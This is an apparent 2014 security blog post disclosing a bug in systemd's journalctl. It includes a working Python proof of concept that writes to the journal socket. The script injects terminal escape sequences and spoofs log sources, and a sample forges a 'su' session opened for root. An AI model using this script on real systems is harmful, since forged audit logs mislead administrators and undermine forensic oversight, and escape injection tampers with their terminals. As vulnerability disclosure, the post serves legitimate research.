JournalCTL Terminal Escape Injection

turbochaos.blogspot.com/2014/08/journalctl-terminal-escape-injection.html

JournalCTL Terminal Escape Injection && Log Injection
A fun blast from the past
By Tyler Borland (TurboBorland)

Preface of Release

Well, here's a random bug I found a while back. It recently got leaked to the world accidentally by the company I work for. I tried to password protect the post, but it got cached, distributed, and re-blogged about, so I'm releasing it. Please note that it's not severe, just a fun little bug to toy with.

This blog also includes a simple Python script for log injection via the Journal UNIX socket. This includes directly injecting escape sequences and the ability to spoof log source name/messages from any user into system && uid logs.

Background Info

SystemD is a new init control system being integrated into Linux flavors more and more. This system is made to largely overhaul SysV, upstart, and etc. into a modern init system, which means a complete overhaul of some core functionality. While some popular flavors like Fedora have already adopted it, more flavors will be adopting it in the near future like Ubuntu (http://en.wikipedia.org/wiki/Systemd#Adoption). For more information on SystemD and how it works, please read:

http://0pointer.de/blog/projects/systemd.html

An interesting point of the SystemD architecture is that they are using a new log management system called Journal. For more information on Journal, please read:

https://wiki.archlinux.org/index.php/systemd#Journal

Journal has a tool called journalctl used to read the binary data represented in the journals. If you read the man page or help output you'll see that journalctl has a flag with the ability to read 'unprintable' characters:

"-a, --all
Show all fields in full, even if they include unprintable characters or are very long."

If you do not use this flag, then messages with unprintable characters will simply be referenced as "blob data" in the text when output. The data is still stored, just not printed. This kills ALL the text in the message when printed, not just the unprintable characters. Meaning sometimes this this option will be needed when analysing logs. A quick look online will also show certain tutorials on reasons why -a is needed.

Journalctl and Historic Injections

With -a set, journalctl will interpret and allow terminal escape sequences. This is something that the older syslog daemons filtered out by default with parser.escapeControlCharactersOnReceive. The option converted escape characters into a 3-digit octal number to prevent this type of injection. Journalctl does not do this. For example, if we were to inject:

```
echo -e "\e]2;WINDOW HIJACK\a"
```

We would be able to hijack the title bar of the tab or terminal window assuming it's not overriden by the profile. This is a good PoC to test because most, if not all, terminals will properly interpret this escape sequence. Much more can be done with this type of attack than simply changing a title screen. By using the tic/toe/terminfo tools, one can see the terminal supported termcaps. When testing I was using gnome-terminal which allows lots of interesting escape sequences:

"GNOME Terminal emulates the xterm application developed by the X Consortium. In turn, the xterm application emulates the DEC VT102 terminal and also supports the DEC VT220 escape sequences. ... GNOME Terminal accepts all of the escape sequences that the VT102 and VT220 terminals use for functions such as to position the cursor and to clear the screen. "

You can get some attack ideas by reading an old paper written by HDMoore at http://marc.info/?l=bugtraq&m=104612710031920 .

Controlled writing to Journal

When I found this I was playing with CUPS filter vulnerabilities as it often uses unfiltered (secure_)?getenv everywhere. When in error, these sometimes get passed directly to a debug log function. For example hplip does:

```
dbglog("DEBUG: ppdOpenFile failed for %s\n", getenv("PPD"));
```

However, there's a much easier way to do this by communincating directly with the UNIX socket for journal. We can, as any user, inject data directly into the system journal. Let's do the injection:

https://drive.google.com/file/d/0ByaHyu9Ur1viNGROb0pUZ0Y0Y1E/

```
import socket
from os import strerror
from time import sleep

# set proc name
def set_proc_name(newname):
    from ctypes import cdll, byref, create_string_buffer
    libc = cdll.LoadLibrary('libc.so.6')
    buff = create_string_buffer(len(newname)+1)
    buff.value = newname
    libc.prctl(15, byref(buff), 0, 0, 0)

# make a nice hex+ascii output
def hexdump(src, length):
    result = []
    digits = 4 if isinstance(src, unicode) else 2
    for i in xrange(0, len(src), length):
       s = src[i:i+length]
       hexa = b' '.join(["%0*X" % (digits, ord(x))  for x in s])
       text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.'  for x in s])
       result.append( b"%04X   %-*s   %s" % (i, length*(digits + 1), hexa, text) )
    return b'\n'.join(result)

def main():
 s = socket.socket(socket.AF_UNIX,socket.SOCK_DGRAM)
 conn = s.connect_ex("/var/run/systemd/journal/socket")
 if (conn != 0):
  sleep(2.1)
         print("ERROR:\t%s" % strerror(conn))
         conn = s.connect_ex("/var/run/systemd/journal/socket")
 s.settimeout(3)

 print("Connected, sending...")

 # Simple PoC for escape injection
 # changes terminal window when -a is used
 s.send("MESSAGE=\x1b]2;test\x07\x0a")

 # PoC to pretend to create an SU log message.
 # just change argv[0]
 #set_proc_name("su")
 #s.send("MESSAGE=pam_unix(su:session): session opened for user root by
person_we_setup(uid=1003)\n")

 s.close()

main()
```

Yes, this also means you can inject arbitrary log messages. This is more interesting when looking at what happens to these logs after they're remotely exported to a central management system (did you expect those characters when parsing just MESSAGE?).

While arbitrary injection is not possible with remote injections, it is still possible with daemons that parse LAN packets or RF type messages the system may support and alert. It's also possible with unfiltered log messages from any kind of service open to the outside world (like honeypots *cough cough*).

Do I Trust This Message?!

When Journalctl reads the data without -o verbose, it uses argv[0] without path to say where the log actually came from. Therefore we can just pretend to be another process and say whatever we want by controlling argv[0]. For example, let's setup this poor guy to have the log say he logged in as root (HAXOR!!!!):

```
s.send("MESSAGE=pam_unix(su:session): session opened for user root by person_we_setup(uid=1003)\n")
Aug 09 17:32:08 hostname su[15054]: pam_unix(su:session): session opened for user root by person_we_setup(uid=1003)
```

When attempting to inject directly into the proc name, it is simply stripped without -a. You only have 15 bytes to play with in short form, so it's best to inject into a faked message instead.

Python Script

If you missed the link above, you can download the Python script directly at:

https://drive.google.com/file/d/0ByaHyu9Ur1viNGROb0pUZ0Y0Y1E/
1

View comments

1.

Load more